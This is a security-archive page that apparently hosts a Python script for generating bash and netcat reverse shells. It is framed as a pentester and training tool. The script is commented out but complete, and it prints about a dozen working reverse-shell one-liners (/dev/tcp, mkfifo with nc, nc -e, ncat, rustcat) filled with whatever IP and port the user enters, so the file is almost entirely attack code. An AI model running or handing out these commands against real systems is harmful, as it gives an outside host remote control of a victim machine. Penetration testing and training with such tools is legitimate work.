what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Bash / Netcat Reverse Shells

Bash / Netcat Reverse Shells
Posted Jul 4, 2022
Authored by Raed Ahsan

This script is a great tool for pentesters needing to create reverse shells using either bash or netcat.

tags | tool, shell, rootkit, bash
systems | unix
SHA-256 | 6fa1de2937ad42cc30d32f1a0d8144e64791a2c154a8baa4dad7d30634eb9f38

Bash / Netcat Reverse Shells

Change Mirror Download
# Author : Raed Ahsan
# Creation Date : 02/07/2022
# Title : Reverse_shells offline creation.
# R-Security training files

"""

I have merged two or more kinds of rev.shells in this single file
example = bash and netcat. Please do uncomment the code for each category
you intend to use.
Thank you
R-Security

"""

##########################################################
################# Bash category ##########################
##########################################################



# print("1 - Bash-i\n2 - Bash 196\n3 - Bash readline\n4 - Bash5\n5 - Bash udp")
# selection = int(input("Enter number:[1 to 5]: "))
# ip = ""
# port = 0

# def bash_i():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: sh -i >& /dev/tcp/{}/{} 0>&1".format(ip, port))

# def bash_196():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: 0<&196;exec 196<>/dev/tcp/{}/{}; sh <&196 >&196 2>&196".format(ip, port))

# def bash_readline():
# ip = input("Enter IP address: ")
# port = input("Enter Port: ")
# print("[*] Reverse shell created: exec 5<>/dev/tcp/{}/{};cat <&5 | while read line; do $line 2>&5 >&5; done".format(ip, port))

# def bash_5():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i 5<> /dev/tcp/{}/{} 0<&5 1>&5 2>&5".format(ip, port))

# def bash_udp():
# global ip, port
# ip = input("Enter IP address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell created: sh -i >& /dev/udp/{}/{} 0>&1".format(ip, port))

# # Finalizing selection of the user;

# if [1,2,3,4,5]:
# if selection == 1:
# bash_i()
# if selection == 2:
# bash_196()
# if selection == 3:
# bash_readline()
# if selection == 4:
# bash_5()
# if selection == 5:
# bash_udp()

#################################################################
############### Netcat Category #################################
#################################################################

# print("1 - nc mkfifo\n2 - nc-e\n3 - nc.exe -e\n4 - nc-c\n5 - ncat-e\n6 - ncat.exe-e\n7 - ncat udp\n8 - rustcat")
# selection = int(input("Enter rev.shell number[1-5]: "))
# ip = ""
# port = 0

# def nc_mkfifo():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {} {} >/tmp/f".format(ip, port))

# def nc_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -e sh {} {} ".format(ip, port))

# def nc_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc.exe -e sh {} {} ".format(ip, port))

# def nc_c():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : nc -c sh {} {}".format(ip, port))

# def ncat_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat {} {} -e sh".format(ip, port))

# def ncat_exe_e():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : ncat.exe {} {} -e sh".format(ip, port))

# def ncat_udp():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u {} {} >/tmp/f".format(ip, port))

# def rustcat():
# global ip, port
# ip = input("Enter ip address: ")
# port = input("Enter port: ")
# print("[*] Reverse shell : rcat {} {} -r sh".format(ip, port))

# if [1,2,3,4,5,6,7,8]:
# if selection == 1:
# nc_mkfifo()
# if selection == 2:
# nc_e()
# if selection == 3:
# nc_exe_e()
# if selection == 4:
# nc_c()
# if selection == 5:
# ncat_e()
# if selection == 6:
# ncat_exe_e()
# if selection == 7:
# ncat_udp()
# if selection == 8:
# rustcat()
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close